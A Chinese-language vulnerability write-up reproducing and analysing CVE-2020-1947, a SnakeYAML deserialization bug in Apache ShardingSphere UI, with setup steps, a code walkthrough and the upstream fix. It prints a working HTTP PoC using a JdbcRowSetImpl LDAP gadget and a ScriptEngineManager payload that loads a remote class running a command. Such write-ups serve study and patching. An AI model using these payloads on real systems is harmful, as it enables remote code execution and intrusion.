CVE-2020-1947 Sharding-UI的反序列化复现及分析
- 2020 年 3 月 11 日
- 笔记
CVE-2020-1947 复现及分析
0x01 影响
Apache ShardingSphere < =4.0.0
0x02 环境搭建
incubator-shardingsphere 的ui界面为前后分离,所以搭建环境所需要的工具如下
- shardingsphere-ui-frontend 需要nodejs环境
- shardingsphere-ui-backend maven构建环境,idea作为源码调试工具
- 任意版本zookeeper
前端后端没有启动的先后顺序,任意顺序即可。
首先将shardingsphere-ui-frontend 拖入idea,idea会自动通过pom的依赖构建项目,稍等片刻,在org.apache.shardingsphere.ui.Bootstrap
类运行main函数即可。
前端环境需要nodejs构建,步骤如下
- 进入
sharding-ui-frontend/
目录; - 执行
npm install
; - 执行
npm run dev
; - 访问
http://localhost:8080/
。
现在就可以访问后台了,用户名与密码皆为admin。为了触发漏洞,需要在后台配置zookeeper。如图
0x03 POC
登录后台后,发送如下poc
POST /api/schema HTTP/1.1 Host: localhost:8089 Accept: application/json, text/plain, */* Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Access-Token: 替换为自己的 Content-Length: 579 {"name":"CVE-2020-1947","ruleConfiguration":" encryptors:n encryptor_aes:n type: aesn props:n aes.key.value: 123456abcn encryptor_md5:n type: md5n tables:n t_encrypt:n columns:n user_id:n plainColumn: user_plainn cipherColumn: user_ciphern encryptor: encryptor_aesn order_id:n cipherColumn: order_ciphern encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpln dataSourceName: ldap://127.0.0.1:1389/CommandObjectn autoCommit: true"}
0x04 分析
可以根据poc,可以很明显的发现是shakeyaml引起的反序列化问题。首先找到处理/api/scheme
的controller。在org.apache.shardingsphere.ui.web.controller.ShardingSchemaController
处。addSchema
会处理post请求
/** * Add schema configuration. * * @param shardingSchema sharding schema DTO. * @return response result */ @RequestMapping(value = "", method = RequestMethod.POST) public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) { shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration()); return ResponseResultUtil.success(); }
跟入shardingSchemaService.addSchemaConfiguration
函数。
@Override public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) { checkSchemaName(schemaName, getAllSchemaNames()); checkRuleConfiguration(ruleConfiguration); checkDataSourceConfiguration(dataSourceConfiguration); //... 省略不相关代码 }
在addSchemaConfiguration
中的checkDataSourceConfiguration
函数会处理dataSourceConfiguration
。继续跟入
private void checkDataSourceConfiguration(final String configData) { Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData); //... 省略不相关代码 }
在checkDataSourceConfiguration
中会调用ConfigurationYamlConvert.LoadDataSourceConfigurations
去解析datasource。
/** * Load data source configurations. * * @param data data * @return data source configurations */ @SuppressWarnings("unchecked") public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) { Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data); //... 省略不相关代码 }
在loadDataSourceConfigurations
中会调用YamlEngine.unmarshal
去处理数据,下图为unmarsha
l函数的代码。可以很明显的看出,unmarshal
函数存在反序列化漏洞。yaml的load可以加载任意类,造成反序列化漏洞
/** * Unmarshal YAML. * * @param yamlContent YAML content * @return map from YAML */ public static Map<?, ?> unmarshal(final String yamlContent) { return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent); }
不难看出,搭建复现环境时,不一定需要他的web环境去触发漏洞,我们可以直接调用相关函数去模拟加载loadDataSourceConfigurations
函数。代码如下
package org.apache.shardingsphere.ui; import org.apache.shardingsphere.core.config.DataSourceConfiguration; import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter; import java.util.Map; public class test { public static void main(String... args){ String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999"]]]]"; Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData); } }
0x05 poc 构造 基于ScriptEngineManager利用链
构造exp可以使用unmarshalsec 工具,请自行搜索
本次利用是基于javax.script.ScriptEngineManager的利用链。
简单地说,ScriptEngineManager类用于Java和JavaScript之间的调用。
PoC.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:
import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.util.List; import java.io.IOException; import java.util.Map; public class PoC implements ScriptEngineFactory { static { try { System.out.println("Hacked by UnicodeSec"); Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } public String getEngineName() { return null; } public String getEngineVersion() { return null; } public List<String> getExtensions() { return null; } public List<String> getMimeTypes() { return null; } public List<String> getNames() { return null; } public String getLanguageName() { return null; } public String getLanguageVersion() { return null; } public Object getParameter(String key) { return null; } public String getMethodCallSyntax(String obj, String m, String... args) { return null; } public String getOutputStatement(String toDisplay) { return null; } public String getProgram(String... statements) { return null; } public ScriptEngine getScriptEngine() { return null; } }
另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INFservicesjavax.script.ScriptEngineFactory
,其中内容为指定被执行的类名PoC
即可触发漏洞
0x06 修复分析
在4.0.1中新增了classfilter的构造方法,只允许反序列化YamlDataSourceConfiguration
类。
LoadDataSouceConfigurations
函数设置只允许反序列化相关类,
ClassFilterConstructor
代码如下
public final class ClassFilterConstructor extends Constructor { private final Collection<Class<?>> acceptClasses; @Override protected Class<?> getClassForName(final String name) throws ClassNotFoundException { for (Class<? extends Object> each : acceptClasses) { if (name.equals(each.getName())) { return super.getClassForName(name); } } throw new IllegalArgumentException(String.format("Class is not accepted: %s", name)); } }
LoadDatasourceConfigurations
函数中设置classfilter
Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));
0x06 参考
- https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections
- https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html
- https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/
- https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E